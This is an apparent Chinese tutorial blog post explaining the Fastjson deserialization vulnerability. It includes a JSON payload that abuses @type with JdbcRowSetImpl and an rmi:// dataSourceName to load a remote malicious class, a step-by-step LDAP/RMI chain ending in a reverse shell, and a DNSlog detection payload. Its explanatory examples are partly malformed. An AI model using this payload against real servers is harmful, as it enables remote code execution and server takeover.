fastjson漏洞

目录

一.fastjson的简述

二.fastjson原理

三.fastjson反序列漏洞利用条件:

四.fastjson整个的攻击步骤


一.fastjson的简述

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。

Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象

二.fastjson原理

fastjson是阿里巴巴开发的一个快速处理json格式数据的一个框架,可以将json格式反序列化为一个对象,还可以将一个对象序列化为一个json格式数据,它里面有一个字段属性,这个属性标记了反序列化类,json格式在反序列化的时候会以这个类进行反序列化,当这个类给传的是有害的(JdbcRowSetImpl),就能调用里面的属性或者方法,这时候这里有JdbcRowSetImpl类,这个类有个datasource ,如果以JdbcRowSetImpl类来进行反序列化,并且datasource给的是一个rmi://ip/exp格式数据,就会触发以rmi协议去请求远程服务器上资源,如果这个资源是恶意的,就会造成命令命令执行

首先我们需要知道什么是fastjson格式,以及他序列化的一些形式

json格式数据

一个件,一个值

{

"key1" : "张三",//键:值

"key2" : 大忽悠"

}

也可以嵌套

fastjson是将json格式反序列化为对象,还可以将一个对象序列转换为json格式数据。

json={

"name":"yy",

"age":20,

"isStudent":123,

"student":"name":"stu",age:18//student是子类哈

}

序列化后:"name":"yy","age":20,"isStudent":123,{"student":"name":"stu",age:18,}

这里有个特性就是会将student这个子类省略,这样的话,在反序列化的时候啊,他不知道name这些属性是属于student这个类,这样就会报错。fastjson为了解决这个问题,就会进行标记。

json={

字段=(student)//同过这个形式进行标记这里就是漏洞点,这里有jdbc协议调用,比如"@type":"com.sun.rowset.jdbcRowSetImpl"

"name":"yy",

"age":20,

"isStudent":123,

"student":"name":"stu",age:18//子类

}

上面就是一个抽象理解过程

下面就是具体的代码理解

{

"b":{

"@type":"com.sun.rowset.jdbcRowSetImpl",//

"dataSourceName":"rmi://dnslog.cn/aaa",//请求rmi服务器上http服务器的aaa资源

"autoCommit":true

}

}

1.@type记录了该原始类型为JdbcRowSetImpl这个类,这样就能快速定位JdbcRowSetImpl 类来进行反序列化。

  1. dataSourceName为属性, rmi://dnslog.cn/aaa为属性值。 这个json数据,可以让fastjson以JdbcRowSetImpl类来反序列化json数据。然后反序列化的时 候会去请求rmi服务器,地址为: dnslog.cn/aaa。然后加载aaa这个有害class文件从而造成代 码执行。

三.fastjson反序列漏洞利用条件:

1.目标服务器存在fastjson。

2.没有对用户传输的数据进行严格过滤。

四.fastjson整个的攻击步骤

这里用ldap协议

1.攻击者使用payload(携带LDAP或rmi服务器的地址)发送给web服务器,网页。

2.web服务器中引发反序列化漏洞,进行ldap远程方法调用,去连接LDAP服务器的端口。

3.LDAP服务指定加载HTTP服务器的恶意java类,所以web页面通过LDAP 服务最终加载并执行了恶意java类。

4.web服务器执行恶意Java类,获得反弹shell,控制了服务器。

五.检测

{

"a":{

"@type":"java.net.Inet4Address",//用ipv4来检测。

"val":"获取的dnslog子域名"

}

}

相关推荐
与君共勉12138几秒前
Nginx 负载均衡的实现
运维·服务器·nginx·负载均衡
MARIN_shen2 分钟前
Marin说PCB之POC电路layout设计仿真案例---06
网络·单片机·嵌入式硬件·硬件工程·pcb工艺
MZWeiei11 分钟前
Zookeeper基本命令解析
大数据·linux·运维·服务器·zookeeper
Arenaschi30 分钟前
在Tomcat中部署应用时,如何通过域名访问而不加端口号
运维·服务器
waicsdn_haha38 分钟前
Java/JDK下载、安装及环境配置超详细教程【Windows10、macOS和Linux图文详解】
java·运维·服务器·开发语言·windows·后端·jdk
m0_7482400241 分钟前
Chromium 中chrome.webRequest扩展接口定义c++
网络·c++·chrome
終不似少年遊*1 小时前
华为云计算HCIE笔记05
网络·华为云·云计算·学习笔记·hcie·认证·hcs
蜜獾云1 小时前
docker 安装雷池WAF防火墙 守护Web服务器
linux·运维·服务器·网络·网络安全·docker·容器
小屁不止是运维1 小时前
麒麟操作系统服务架构保姆级教程(五)NGINX中间件详解
linux·运维·服务器·nginx·中间件·架构
Hacker_Oldv1 小时前
WPS 认证机制
运维·服务器·wps